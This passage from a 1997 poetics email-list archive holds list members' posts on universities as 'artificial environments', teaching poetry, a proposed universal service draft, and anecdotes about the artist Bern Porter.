possibilities. Where some critics would suggest that crime, alcohol, drugs, auto accidents, thefts would increase, the reverse would be nearly true, where suddenly people would be finding time to do what they truly always wanted to do, but never did, because they "had to go to work." Hobbies would thrive, for the healthy betterment of everyone. It's interesting that in connection with this time-rearrangement, one's personal 24 hour day would best be divided into four 6-hour segments for easy planning and survival, that is, from six in the morning to noon, from noon to six at night, from six at night til midnight, and from midnight til six am. And I think I've mentioned that wherever this proposal would be carried out, the greatest number of people would benefit. And this idea, as we offer it to the world, is that we dissolve the present 40-hour week, we dissolve holidays, we dissolve weekends,

everyone has a job on a shift schedule of his own choice, for 32 hours. We, of course, use up the surplus of people who are unemployed, and put everyone to work in something he truly wants to do.

Other books by Bern Porter published by Xexoxial include

The Last Acts of St Fuck You
My My Dear Me
Why My Left Lef is Hot
Xerolage 16

Xexoxial Editions
Rt 1 Box 131
LaFarge, WI
54639

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342. Don Cheney
running and reading
Wed 15 Jan 1997

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this morning, while doing my usual treadmill running
at the local "Family Fatness" gym in San Diego, i
had the unusual experience of reading the closed
captions while "watching" "good morning america."
reading tv while running or even just watching tv
while running was too much for me until just recently
as I've gotten used to running on a treadmill. before,
if i didn't pay attention to my running i'd falter
or skid on the machine.

anyway, reading closed captioned stuff can be very
funny. the best parts of course are typos or when
people transcribing don't know what the word is and
take a stab at it. the only quote i remember was:
"and our reporter, Jane Doe, will be leer to tell
you about it."

Don
--
visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/~doncheney
[redacted]

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343. MAXINE CHERNOFF
Re: death
Wed 15 Jan 1997

Maria: There was a fascinating piece in Harper's, I believe, about a year ago, I believe, in which a British mortician wrote about preparing his own father to be buried. Of course, there's also Jessica Mitford, but her take is much different.

Maxine Chernoff

On Wed, 15 Jan 1997, maria damon wrote:

> *nice post, mark weiss! are there any mortuary scientists on the list who would like to undertake to persuade us of the quotidien, normative nature of their work?--md ps or failing that, how 'bout educating us in some mortuary jargon in addition to "cremains?"*

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344. henry gould
Re: sustaining the lifethread
Wed 15 Jan 1997

Here's a little something to chant while out in yon non-artificial rutabagapar-adise:

How you gonna keep em down on the farm
after they've seen the Net.
They can go around the block to the coffee shop
& surf the whole alphabet,
they can study all they want on a spiderweb,
& even learn to scan
out of an old tin can!
O
how you gonna teach em not to learn,
how you gonna lead em when they want to blab,
O
the grass is always greener in the cyber-lab,
over at the Universe-High-Tea....
O
(chorus of straw hats & overalls)
gimme that old time manure,
gimme that old time manure,
gimme that old time manure,
it's good compost for me! (etc.)
- Hank ("Hayseed") Gould

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345. **maria damon**
Re: artificial environments
Wed 15 Jan 1997

---

thanks db. i'm no fan of my current artificial environment, but my artificial environment at hampshire college was dreamy. my artificial environment at stanford took some getting used to, but once i'd done my coursework and was free to read and write by the manmade swimmingpool or in the faux-tuscan atmosphere of the caffe verona, i was joyous most of the time. artificial environments that give the the time and space to feel myself existing are okay by me, though if i have to be at school more than 3 hrs at a stretch or more than 2 days a week i generally get sick, flu-ish symptoms.--md

In message <v01540b04af02a4a8dc42@[205.138.228.150]> UB Poetics discussion
group writes:
> mikael And (whose postings i have found consistently interesting
> and on-target) has rather "set me orf" with his "in the artificial
> environment of the university". Perhaps because i spent many years of my
> life in the artificial environment of the university. but before that, i
> spent considerable time in the artificial environment of a door-to-door
> magazine salesman, and before that, in the artificial environment of an
> invoice clerk for canadian pacific. Before that, i worked in the artificial
> environment of a dairy farm; before that, in an artificial environment in a
> publishing house. in my evenings and on my days off throughout these years,
> i could often be ound in the artificial environment of a bar or a
> restaurant, or the artificial environment of a poetry reading. Sometimes i
> was asleep in an artificial environment. In infancy, i was in the
> artificial environment of my parents' flat. Later, as my father's labors in
> the artificial environment of newsreels brought increasing amounts of
> artificial currency, their artificial residence became a house.
>
> we boys played our artificial soccer in various local parks and once when
> injured i went to an artificial hospital. throughout these years artifical
> food preserved some semblance of life (however artificially induced) in
> your correspondent, and here i find myself today in the artificial
> environment of cyberspace. db
>

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346. **maria damon**
Re: sustaining the lifethread
Wed 15 Jan 1997

miekal a rites

So while my own personal interests spans the gamut of things discussed under the cover of this list, my efforts in teaching are much more random, spontaneous & based on what is useful in everyday life. I will show folks how to make their own books, how to distribute, & overwhelm them with the corpus of what has been created for them to sort out themselves. But you wont find me carrying on about the economies of sentence structure in first generation language poetry.

well, that's my belief about teaching too; that it's basically about hanging out and sharing stuff. i've managed to put myself in situations, mostly as a student, with teachers who do that. as a teacher in a mega-bureaucratic institution it's more of a challenge,but i manage to teach topics that draw small enough bodies of students that we can in fact develop into a community for the 10 weeks that we're together. i also make a point of explaining that my style is random and that the digression is the event for me, so i try to prepare them. moderate success. it was very stressful to be considered lazy and ineffectual by my colleagues before i had tenure (the place runs on calvinist busy-oholism), but now who cares.--md

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347. **Mark Weiss**
Re: sustaining the lifethread
Wed 15 Jan 1997

Boy, does that ever miss the point. Here's how I learned to be a poet. I got hooked early on the awful stuff in my mother's HS anthology. When I was in my teens I started looking for other poets. I read a lot. I went to readings. In school I stayed away from writing courses, but I read "the canon," and you know, you can learn a lot from Ben Jonson or Milton. Other poets turned me on to their enthusiasms, and we edited each other's work. For a while I roomed with Chuck Stein--we would read at each other for hours across the crude lilac-colored coffee table I'd cobbled together (sometimes by the light of a yellow light bulb--it turned the table a ghostly white). I learned from older poets, some of whom were incredibly generous with their time. I started a reading series and a magazine--more and more poetry. And I dropped out of grad school and became a psychiatric social worker. My "rutabagaparadise." I spent 15 years looking and listening like crazy. I don't know how many of my underclass and working class clients I helped, but they certainly helped me to another education. I

love teaching, and I teach in writing programs on ocasion, but I'm very aware that these programs are there primarily to provide jobs for the likes of me--an MFA never certified anybody as a poet. When my students ask me what they need to know to be poets I tell them "everything." The other day I heard a reading by a poet all of whose references were to books. I got the references. But I wasn't surprised that although he's read in college courses no one beyond the walls has ever heard of him. If we hope to have some impact on the world we have to engage it. Olson began his last teaching stint at Connecticut by asking the assembled students which ones were writing majors. They raised their hands, and he tossed them out. Sometimes doctors or insurance lawyers or even farmers become poets.

So here's my grand utopian fantasy and syllabus. Let there be a universal draft after HS, during which young men and women, separated from their normal geography and social class, learn about each other while repairing the infrastructure (the least racist institution in our polity is the military). And let no one be allowed to apply for graduate school until they are thirty or have been out of college for at least five years, whichever comes first. Try them rutabagas.

At 01:06 PM 1/15/97 EST, you wrote:
>Here's a little something to chant while out in yon non-artificial
>rutabagaparadise:
>
>How you gonna keep em down on the farm
>after they've seen the Net.
>They can go around the block to the coffee shop
>& surf the whole alphabet,
>they can study all they want on a spiderweb,
>& even learn to scan
>out of an old tin can!
>O
>how you gonna teach em not to learn,
>how you gonna lead em when they want to blab,
>O
>the grass is always greener in the cyber-lab,
>over at the Universe-High-Tea....
>O
> (chorus of straw hats & overalls)
> gimme that old time manure,
> gimme that old time manure,
> gimme that old time manure,
> it's good compost for me! (etc.)

>- Hank ("Hayseed") Gould
>
>

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348. **henry**
Re: sustaining the lifethread
Wed 15 Jan 1997

Mark, I think they tried you're utopia over in China a while back. Maybe you can call yourselves the "Well-Read Guards". - Hank G.

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349. **maria damon**
Re: sustaining the lifethread
Wed 15 Jan 1997

---

mark weiss writes:

> *Olson began his last teaching stint at Connecticut by asking the assembled students which ones were writing majors. They raised their hands, and he tossed them out.*

i like your post very much mark but i'd like, without meaning to completely diss one of the gods of the list, to suggest the possibility that in this case the "writer" might throw "writing majors" out of his class because he doesn't want any competition?

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350. **Mark Weiss**
Re: sustaining the lifethread
Wed 15 Jan 1997

Actually, they tried part of it here once. They called it the WPA. Next time you go to a state or national park you may wish to thank those kids of yesteryear.

At 02:05 PM 1/15/97 EST, you wrote:
>Mark, I think they tried you're utopia over in China a while back.
>Maybe you can call yourselves the "Well-Read Guards". - Hank G.
>
>

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351. Mark Weiss
Re: sustaining the lifethread
Wed 15 Jan 1997

Actually, they tried it here once. They called it the CCC. Next time you go to a state or national park you may want to thank those kids of yesteryear.

I have no expectation that I'll ever see my fantasy actualized. But I do think that it merits better than a cold war riposte.

At 02:05 PM 1/15/97 EST, you wrote:
>Mark, I think they tried you're utopia over in China a while back.
>Maybe you can call yourselves the "Well-Read Guards". - Hank G.
>
>

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352. Miekal And
sustaining the list = (GARDEN THE EDGES!)
Wed 15 Jan 1997

[redacted] wrote:

but anyway you slice it
> we'd be better off attending to each other's voices than making leaps
> to judgment about world-views, assumptions etc. based on what we think we
> know someone's wageplace.

on the ecobalance sustainability list Im boiled in bees because I mentioned 4/4 music & 1 4 5 changes are derived from "dead white man's culture"

maybe western aesthethic tradition is a better phrase?

miekal who has many neologisms for his lofty ideals

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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353. **henry**
Re: sustaining the lifethread
Wed 15 Jan 1997

On Wed, 15 Jan 1997 11:17:38 -0800 Mark Weiss said:
>Actually, they tried part of it here once. They called it the WPA. Next time
>you go to a state or national park you may wish to thank those kids of
>yesteryear.

As I recall, the WPA wasn't mandatory. Neither were the CETA projects, like the one I managed (teaching kids to build solar greenhouses. Some things, by God, CAN be taught. We sang Mao's poems--set to music by Carl Sandburg, no less!--while we dug those foundation pits. See my memoir, _The Need for Rutabagas_, Univ. of Left Overbie Press, 1982). - HG

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354. **Aldon L. Nielsen**
Re: bleeding the lifthread
Wed 15 Jan 1997

No, the WPA wasn't mandatory -- one could always choose to remain unemployed and unpaid --

General Hershey had a nifty version of this for me back in my youth -- It wasn't mandatory that I leave the artificial environment of college to do social work in upstate New York; I coould have chosen to be removed from the artificial environment of university study for the artificial environment of an American militrary base in Viet Nam --

I could and did study and write everywhere -- but it was a whole lot easier to get what I needed for my work while attached to a college --

odd sense of what is and is not mandatory in the American economy

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355. **Mark Weiss**
Re: sustaining the lifethread
Wed 15 Jan 1997

Let me go a little further into dreamtime. In France all males are supposed to spend a year in the military. I'm hazy on the details, and I'm sure there's a bunch of ways out, and I know from riding the metro for a couple of years that the boys capitalize on the experience by becoming drunk as mouffettes every weekend; I'm not sure that they do very much for the defense of the realm. The Swiss require of virtually everyone a year of service. And most parts of the US

require 12 years of incarceration in classrooms for the young and fidgety. All societies establish institutions whose purpose is the socializing of the young, whatever their other functions may be. It helps them through adolescence, serves as a mild equalizer, and enforces the sense of membership in a community. Some societies offer something in return. In those totalitarian countries like, say, France, university education is a limited but free commodity, and health care aint bad. England, too, altho they may have to start imposing some fees that would be considered derisory at any US school. As a result, doctors, say, don't feel justified in becoming wealthy on the back of human suffering. Required service is more the rule than the exception in even the most libertarian societies. My idea of a five year hiatus has to do with a different kind of exploration. Years ago I taught in the psych dept. at SUNY-Old Westbury. As some of you may know OW is designed to meet the needs of kids from, ahem, the lower social orders, and it does, or at least did, so (I have no idea what the situation is now) pretty well. Our kids got a decent education. At the end of each year the psych faculty would meet informally with the graduating majors. This was a sort of rite of passage--we could now socialize together. But of course we were more avuncular than sociable. One faculty member recalled that when he was in our students' shoes his advisor had suggested that a year off in "the real world" might be advisable before applying to graduate school. "And he was right," this dunderhead allowed. The scion of a family of enormous wealth, he had spent the year touring South America, from resort to resort. He got a great tan. But our students from the ghettos were somewhat nonplussed by his story. We tend to live in gated communities. That prof had chosen a very expensive one for his wanderjahr. A grad program in writing can be such a place. Five unstructured years outside the gates, it seems to me, might make the gatedness a little bit less tolerable. And what one had to report of that time might be an interesting new criterion for entry. But none of this will ever happen. Most Americans still think of even universal health care as a commie plot. I have to typeset now.

At 02:53 PM 1/15/97 EST, you wrote:
>On Wed, 15 Jan 1997 11:17:38 -0800 Mark Weiss said:
>>Actually, they tried part of it here once. They called it the WPA. Next time
>>you go to a state or national park you may wish to thank those kids of
>>yesteryear.
>
>As I recall, the WPA wasn't mandatory. Neither were the CETA projects,
>like the one I managed (teaching kids to build solar greenhouses. Some
>things, by God, CAN be taught. We sang Mao's poems--set to music
>by Carl Sandburg, no less!--while we dug those foundation pits.
>See my memoir, _The Need for Rutabagas_, Univ. of Left Overbie Press,
>1982). - HG

>
>

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356. **Jeffrey W. Timmons**
Re: sustaining the lifethread
Wed 15 Jan 1997

> *So here's my grand utopian fantasy and syllabus. Let there be a universal draft after HS, during which young men and women, separated from their normal geography and social class, learn about each other while repairing the infrastructure (the least racist institution in our polity is the military). And let no one be allowed to apply for graduate school until they are thirty or have been out of college for at least five years, whichever comes first.*

ill pass on the grand utopian fantasy and the universal draft. but id like my twenties well-done and the garnish of experiences on the side please. the military the least racist institution? if you believe military. sexism and gender-bias is a whole 'nother can of birds.

jeffrey timmons

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357. **maria damon**
Re: terrestial reclamation
Wed 15 Jan 1997

---

hey miekal, what you call finger shaking is me defending myself against your prejudices and cliches and assumptions about my inner life based on yours. i love your energy, your spontaneity, your truthfulness to your vision. i support your work and i have felt supported by you in some of my creative endeavors. i don't appreciate your need to indict or condescend to everyone who has chosen a different path, or thru circumstances, ended up doing something other than living at dreamtime village. i'm sorry if you feel publically scolded; for my part, i feel dismissed by a certain tenor of triumphalism in your proclamations.

In message <[redacted]> UB Poetics discussion group writes:
> Goddess
> did I put the crimson
> veil in front
> of the charging bull.
>
> Before Maria
> starts shaking fingers

> at me &
> never
> talks to me
> again
>
> I should say
> that my hands typed
> artificial when I
> meant to say
>
> e s t e e m e d
>
> I have taken the
> liberty to search
> & replace David B's
> telling life story
> with the proper
> appellation.
>
> Miekal who
> still cant picture
> David B in overhauls,
> Banvel cap, & shit kickers
> milking cows. Who woulda
> thunkit.
>
> For those that want to
> read more into more into mywords
> than my well-intentioned mouthoffed brashness:
>
> what I honestly am interested
> in are evolved discussions of how the
> act of poetry is sustainably designed
> into everyday life. I choose the life of spending
> my days creating an eco-village within
> the remnants of an existing
> 150 year old dairy hamlet
> because nearly everyone I know is
> in there behind those cement walls
> & florescent lights & very
> few are out there in the front
> lines of poetic terrorism.

>
>
> By analogy, because the university
> wanted to "teach" agriculture to farmers,
> knowing most of them
> would never go back to school, created
> cooperative extensions, in each county,
> & those ag extentions agents would
> go farm to farm & introduce themselves
> & offer information, support, networking.
> The farmers were thus able to continue
> milking but slowly change their
> practices to more sustainabler methods
> gradually over time.
>
>
> Where did I learn about poetry really?
> The overwhelming answer was by writing
> & publishing & networking with literally
> 1000s of other writers, performance artists,
> noisicians, plagiarists, mail artists, language
> poets, & small interactive arts organizations.
> This is a way of life, not a curriculum that
> I will graduate from & become a specialist.
>
> Lyx (formerly Liz Was) & I am
> homeschooling our son Zon. He is 9
> years old & not all that interested in learning
> how to read (even tho he was into it when
> he was 2), he IS interested in collecting
> animals skeletons & gluing them back
> together, making a comic book to put up
> at our website, learning the latin to the many
> 100s of plants that we grow here at Dreamtime
> & he takes his turn cooking for as many as
> 25 people. He is precociously verbal & can
> carry on a conversation with any adult on
> any subject including chaos theory or the sentient
> intelligence of avians.
>
> I have tried to "teach" him how to read. He cries,
> screams, throws books at me

> (dont worry none of yours out there).
> My observation is that the more I back
> off & let him be, the easier more
> naturally he learns to learn, to become
> excited by ideas, to ask questions.
> TO FIGURE IT OUT BY HIMSELF.
> The more I become his companion
> & the less I try to "teach" him,
> the more our relationship becomes
> a reciprocity of love & respect.
>
> My tangled thread
> is a reflexive navigation
> thru what is not said
> & what I see as a genuine
> deep fear that poetry
> will not not survive as
> long as it remains separate
> from all other creative
> impulses known to
> man.
>
> --
> @#
> Dreamtime Village website: http://net22.com/dreamtime
> QAZINGULAZA: And/Was/Wakest website:
> http://net22.com/qazingulaza
> e-mail for DT & And/Was: [redacted]
>

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358. **Mark Weiss**
Re: sustaining the lifethread
Wed 15 Jan 1997

Everybody's path is his/her own. And I'm sure as hell not calling any of them "artificial." But we do tend to value the individual over the communal to an extraordinary and I think unsustainable degree, and the place gets less and less liveable--whatever place--as a result. Look, poets--marginals of all sorts--have to live with all manner of sometimes degrading ambiguities. The troubadors who sang for their supper at Raymond de Troncavel's table no less, maybe more, than we. You do what you have to, and I'm certainly not, from my somewhat

privileged position (I don't have to be a wage slave), criticizing anyone else's choices. I do worry about the institution (all of them) and the society. And I welcome other people's hairbrained solutions. I do know that when people work and play and live together they're less likely to burn down each other's houses. Or at least I hope so. And I have to tell you, while my green undergraduates are fun to teach, the "returned students" (often that means folks who were raising kids in their late teens and twenties and never got to higher ed to start with) are a hell of a lot more challenging. Like, they know a lot more that I don't. I guess I knew this would be controversial. A lot of house cats never criticize their baskets. And it may be that we/they/I sleep in the best of all possible baskets.

At 03:17 PM 1/15/97 -0700, you wrote:
>> > So here's my grand utopian fantasy and syllabus. Let there be a
>> >universal draft after HS, during which young men and women, separated from
>> >their normal geography and social class, learn about each other while
>> >repairing the infrastructure (the least racist institution in our polity is
>> >the military). And let no one be allowed to apply for graduate school until
>> >they are thirty or have been out of college for at least five years,
>> >whichever comes first.
>
>ill pass on the grand utopian fantasy and the universal draft. but id
>like my twenties well-done and the garnish of experiences on the side
>please. the military the least racist institution? if you believe
>military. sexism and gender-bias is a whole 'nother can of birds.
>
>jeffrey timmons
>
>

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359. **Pritchett,Pat**
Re: sustaining the lifethread
Wed 15 Jan 1997

With all due respect, Dan: you must be plumb loco to make that kind of statement. Or just uninformed.

All this talk about the university as "artificial" strikes me as absurd. How is it any more artificial than the corporate environment? I'll state the obvious here: culture = artifice - and it's better than living in the woods. A university *is* a corporation. It's designed to turn a profit by producing a product - education.

Or a facsimile thereof. That's what people seem to objecting to here. Unfortunately, the idealism engendered by a love of learning does seem to be often at odds with the bottom line. On the other hand, I've read on this list someone rather melodramatically comparing the university to a prison: try working at a life insurance company for a few months. It'll suck the marrow right out of your soul! ---------- From: DS To: POETICS Subject: Re: sustaining the lifethread Date: Wednesday, January 15, 1997 6:53PM

As someone still in my 20s i would chose prison over compulsory military service without a second thought.

dan

(in New Zealand - you don't have to pay university fees if you are inside. I would have food & board etc & could get stuck into that contemplated phd)

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360. **DS**

Re: sustaining the lifethread

Wed 15 Jan 1997

>
>At 03:17 PM 1/15/97 -0700, you wrote:
>>> > So here's my grand utopian fantasy and syllabus. Let there be a
>>> >universal draft after HS, during which young men and women, separated from
>>> >their normal geography and social class, learn about each other while
>>> >repairing the infrastructure (the least racist institution in our polity is
>>> >the military). And let no one be allowed to apply for graduate school until
>>> >they are thirty or have been out of college for at least five years,
>>> >whichever comes first.
>>
>>ill pass on the grand utopian fantasy and the universal draft. but id
>>like my twenties well-done and the garnish of experiences on the side
>>please. the military the least racist institution? if you believe
>>military. sexism and gender-bias is a whole 'nother can of birds.
>>
>>jeffrey timmons
>>
>>

As someone still in my 20s i would chose prison over compulsory military service without a second thought.

dan

(in New Zealand - you don't have to pay university fees if you are inside. I would have food & board etc & could get stuck into that contemplated phd)

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361. **shoemakers**
sustaining the list
Wed 15 Jan 1997

I've deeply appreciated the infusion of energy and new perspectives on the list of late. I also like the "sustainability" thread because the issue of where and how one, a writing one, how *I* might draw sustenance from the world/culture we live in is a crucial one. But as we critique the institutions around us (and they do deserve critique) i wld be happier if we cld do it without reviving the old Academy vs The Real Thing war that the list has been thru *so* many times before. Some of us are "in" the academy, some are "in" someplace else, some are half-in, half-out, half-assed or just plain ain't sure -- but anyway you slice it we'd be better off attending to each other's voices than making leaps to judgment about world-views, assumptions etc. based on what we think we know someone's wageplace. Whew, don't know about you but i feel better. Must be MLK day. steve

Steve Shoemaker

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362. **wystan**
Re: sustaining the lifethread
Wed 15 Jan 1997

Dear miekal,
I don't know about teachin people to poet but what about sore pussy tats? As for the stunned farmers when will they ever learn?
stay tort and lots of lavalava
wystan

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363. **Mark Weiss**
Re: sustaining the lifethread
Wed 15 Jan 1997

Who's talking about warfare? There are other forms of public service.

Nor is this a discussion of artifice vs nature--not on my part, at least. But note in passing that universities don't actually make profits--that's why they need grants and endowments to operate. (They do share with private sector business the tendency of bureaucracies to try to become immortal.) In most countries universities are paid for out of taxes, the same as freeways: they're seen as a necessary part of the infrastructure.

It really isn't necessary to defend the universities and the life they promote. While funding cuts happen, I don't think the institution is in any danger of disappearing, and I'm far from proposing that we burn them down. Some of my best friends are universities. Isn't anybody else out there concerned about the interface or lack thereof with the rest of the culture/society and the impact that may have on our lives as writers? Is to ask the question the same as threatening to take away the goodies? (Reminds me of the moment at the beginning of the Gulf War when I asked my students to imagine the issues from Saddam Husein's point of view. They told me that they couldn't do it because it would be unpatriotic)

At 07:13 PM 1/15/97 -0500, you wrote:
>With all due respect, Dan: you must be plumb loco to make that kind of
>statement. Or just uninformed.
>
>All this talk about the university as "artificial" strikes me as absurd. How
>is it any more artificial than the corporate environment? I'll state the
>obvious here: culture = artifice - and it's better than living in the woods.
> A university *is* a corporation. It's designed to turn a profit by
>producing a product - education. Or a facsimile thereof. That's what people
>seem to objecting to here. Unfortunately, the idealism engendered by a love
>of learning does seem to be often at odds with the bottom line. On the other
>hand, I've read on this list someone rather melodramatically comparing the
>university to a prison: try working at a life insurance company for a few
>months. It'll suck the marrow right out of your soul!
> ----------
>From: DS
>To: POETICS
>Subject: Re: sustaining the lifethread
>Date: Wednesday, January 15, 1997 6:53PM
>
>
>As someone still in my 20s i would chose prison over compulsory military
>service without a second thought.
>
>dan

>
>(in New Zealand - you don't have to pay university fees if you are inside. I
>would have food & board etc & could get stuck into that contemplated phd)
>
>

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364. **DS**
Re: sustaining the lifethread
Wed 15 Jan 1997

---

huh?

At 07:13 PM 1/15/97 -0500, you wrote:
>With all due respect, Dan: you must be plumb loco to make that kind of
>statement. Or just uninformed.
>
>All this talk about the university as "artificial" strikes me as absurd. How
>is it any more artificial than the corporate environment? I'll state the
>obvious here: culture = artifice - and it's better than living in the woods.
> A university *is* a corporation. It's designed to turn a profit by
>producing a product - education. Or a facsimile thereof. That's what people
>seem to objecting to here. Unfortunately, the idealism engendered by a love
>of learning does seem to be often at odds with the bottom line. On the other
>hand, I've read on this list someone rather melodramatically comparing the
>university to a prison: try working at a life insurance company for a few
>months. It'll suck the marrow right out of your soul!
> ----------
>From: DS
>To: POETICS
>Subject: Re: sustaining the lifethread
>Date: Wednesday, January 15, 1997 6:53PM
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>
>As someone still in my 20s i would chose prison over compulsory military
>service without a second thought.
>
>dan
>
>(in New Zealand - you don't have to pay university fees if you are inside. I
>would have food & board etc & could get stuck into that contemplated phd)
>
>

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365. KENT JOHNSON
bern porter and modeling
Thu 16 Jan 1997

Dear Miekal:

My parents were born and raised in Belfast, Maine and I spent much time there visiting the gradparents. On one of my visits to Belfast, maybe 15 years ago, I attended a reading by Porter, at, of all places, the Odd Fellows Hall on Main Street. There was a good and variously-aged crowd there--perhaps 50-60 people--and since this was winter, most had to be native residents (Belfast has developed an arts scene fed by lots of immigration in the past few years, but this was shortly after the chicken processing plant had closed down, and before the town started creeping toward the fate of neighbors Camden and Rockport). People listened very attentively and applauded politely after each poem. Porter had an "assistant" during this reading, and during every poem this young man crawled around on the floor commando-style or on all fours, weaving himself between pPorter's legs. My memory is that there was some nervous laughter at the beginning of the reading, but no sense at all of reproach from the audience.

New England communities have a long traditionof being tolerant--even protective--of their eccentrics, and this certainly seems to be the case with Belfast's attitude toward Porter. My grandmother told me once that after his wife died, Porter was in the habit for some time of walking around town in his wife's clothes. I remember asking my grandmother if this didn't cause people to laugh at him, and with thick Maine accent she replied something to the effect that no, Bern has always been very different but he is a genius and a decent man... I asked her why she thought he was a genius and whether she had read his work. She said she had read just a little of it and couldn't make heads or tails of it, but that this, of course, was the way of genius. (I am doing my best to be faithful to her words here!)

I remember reading in _Down East_ magazine (is that where I saw it?) a wonderful article about the town gala party for Porter's 90th, attended by hundreds. There was a parade to kick the festivities off; Porter led the parade in regal dress and with staff, followed by town firetrucks and ambulance. A lobster and clam bake followed inthe park, I think, with games, civic orchestra, and so on.

Ah, that all avant-garde poets would be so dearly loved!

On a seperate note: What, more exactly, do you think that Charles Bernstein "models"?

Kent

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366. Walter K. Lew
Goodbye for a while
Thu 16 Jan 1997

Dear Poetics List,

I'm de-subbing for the next few weeks and wanted to thank everyone for being great daily company. Anyone who needs to get in touch with me can still back-channel me at <[redacted]>, since I will be checking in a few times a week. Messages and mail can also be sent to me:
c/o Prof. Juliana Chang
English Dept.
Boston College
Chestnut Hill, MA 02167
[redacted] (ph & fax)

Special thanks to those of you who showed up at the MLA reading, such as Maria D. and Gwyn McVay. It was also heart-warming to talk with or hear other list members--thanks Charles, Juliana, Jena, Aldon et al. For exploring the many new/forgotten old lifethreads of poesy--Keep it spinning,

Ciao for niao,
Walter K. Lew

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367. George Bowering
Re: bp & the allness of poetryics sensate
Thu 16 Jan 1997

Quickly:

Nope, there is no one-volume _Martyrology_ but there is that uniform reprint set that Coach House Press did before it went under in 1996.

There is a gink at Simon Fraser University (where the bp papers are) who is planning a bpNichol home page. His name is Carl. You ought to hear from him on this list, I think. Carl Peters.

We are trying to get him to change his name to Pater Carlos Peters.

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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368. Carl Lynden Peters
Re: bp & the allness of poetryics sensate
Thu 16 Jan 1997

hey this is pater carlos peters talking.

"yep." i'm planing a bpNichol home page.

i'm calling it "the house that bpNichol built." that's tentative.

maybe "words R us."

it'll have lots of dick tracy and pez dispensers!

all is one (bp)

c.

↑ Index

369. George Bowering
Re: fem poet wear
Thu 16 Jan 1997

> *I haven't wanted to answer because what I've been wearing is such a cliche, particularly today: black turtleneck, baggy black jeans, black Doc Martens. I mean, it's just too, too.*
>
> *Gwyn*

Just how baggy are them jeans?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

370. Miekal And
slicker PO et TREE ICKS & the spaces undone
Thu 16 Jan 1997

Carl Lynden Peters wrote:
>
> hey this is pater carlos peters talking.
>
> "yep." i'm planing a bpNichol home page.

will there be interviews, photos, soundsamples, video clips? also itd be great to see reproductions of some of that there visual poetry. did bp do any computer-generated visual works?

miekal who will try to shut up & take his cues from ms maria

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371. Miekal And
Re: boundary 2 23:3
Thu 16 Jan 1997

Charles Bernstein wrote:

 my question is: what is the crime? (I've always been very dense.)

your crime Mr. B is being a model l=a=n=g=u=a=g=e poet

Miekal & the skewtered inquisition

↑ Index

372. Miekal And
Porter re Porter
Thu 16 Jan 1997

---

my apologizes if you already saw this, put this post seems to have not gone thru--

From the back cover of

Bern Porter A Personal Biography
by James Schevill
Tilbury House 1992 Gardiner ME

b p b p b p b p b p b p b p b p b p b p b p b p b p b p b p

A short, round-faced man with a drooping mouth walks slowly along a downtown sidewalk in Belfast, Maine, his long white hair plowed straight back in distinct furrows. His hunched figure and frayed clothes make him stand out

among the scrubbed summer tourists. Other people pass and greet him by name: ﾟHello, Bern!ﾟ At the top of main Street, he walks across to the Belfast Post Office, heading directly for the lobby wastebasket. Here, he harvests a sheaf of catalogues and discarded advertisements, produces a pair of scissors from a pocket, and begins transforming this ﾟjunkﾟ into art. Bern Porter has done this all of his life, finding art and meaning in things other people ignore. He was born on Valentineﾟs Day, 1911, in Porter Settlement, near the Canadian border, in Maineﾟs northernmost county, an area known for its timber, potatoes, and depth of snow. He spent his childhood cutting up newspapers, rearranging the words and pictures, pasting them into books, and trading those books for eggs, milk, and cheese. As he grew older--attending Colby College and Brown University (where he earned a degree in physics), working on the Manhattan Project, then the Saturn moon rocket project--Porter continued to make these ﾟArtist Books,ﾟ refining the idea into his singular vision of Founds: combinations of mass media images and text that he uses to reflect American culture as in a funny-house mirror: twisted but true. In 1945 when the U.S. dropped an atom bomb on Hiroshima, he and his fellow Manhattan Project scientists learned exactly what they had been building, and the knowledge turned Porter away from military applications of science toward art and culture. Porter had begun publishing many important writers at the time, including Henry Miller, Robert Duncan, and Kenneth Patchen. In 1947 he opened a gallery in Sausalito, California, that exhibited what was new in abstract and surreal art, as well as providing a forum for poetry readings and performance art. In the late 1960s, Porter returned to Maine, ran, unsuccessfully, for governor, and started his own ﾟthink tankﾟ for ﾟdrop outs,ﾟ The Institute for Advanced Thinking. Entering his ninth decade, and still living in Maine, he continues to publish new voices and create his extraordinary books of ﾟFounds.ﾟ

b p b p b p b p b p b p b p b p b p b p b p b p b p b p b p

for a bit of additional info check out andrew russ's free form site at:

http://www.phys.psu.edu/~endwar/porter.html

b p b p b p b p b p b p b p b p b p b p b p b p b p b p b p

Bern is one of the original mail artists. He still responds to every piece of mail he receives & you can meet him letterly at

Bern Porter
50 Salmond
Belfast, ME 04915

No telephone, no electricity (I hear) just rooms full of car parts & old magazines & empty tin cans.

↑ Index

373. **Miekal And**
where are the bern porter action figures?
Thu 16 Jan 1997

KENT JOHNSON wrote:

kent: quintessential bern story. I'll crab together a few of the anecdotes of when bern got on a greyhound to our Church of Anarchy & occupied our house for several weeks. he did this 2 or 3 years in a row. damn, those were the days.

> *I remember reading in _Down East_ magazine (is that where I saw it?)*
> *a wonderful article about the town gala party for Porter's 90th,*
> *attended by hundreds. There was a parade to kick the festivities off;*

for the record, it was his 80th, there is a photo of him leading the parade & he looks like the happiest man on the planet, dressed as the Grand Monarch Pre-emptor of all that is Wasted & Unused & Artificial.

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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374. **Miekal And**
Re: real worlds...
Thu 16 Jan 1997

[redacted] wrote:

joe: if you leave the univerisitae you can always weary yourself up north & dig spuds with the hippies.

> *so perhaps we all need to be just a bit less presumptuous about our*
> *respective work-places...*

whose talking about workplaces, I havent "worked" for money in 7 years, I wanna know about the poetryies of life

> *anyway, if each of us wants to talk both with those who are and those who*
> *are not like us, we'll have to be a bit more explicit perhaps, and a bit*
> *less hasty to generalize all the way 'round...*

on most of the lists that Im on, "hasty generalizations" are the primary bait for setting off thoughtmunitions. goddess I love chaos!

mr miekal

in sweats

↑ Index

375. **Miekal And**
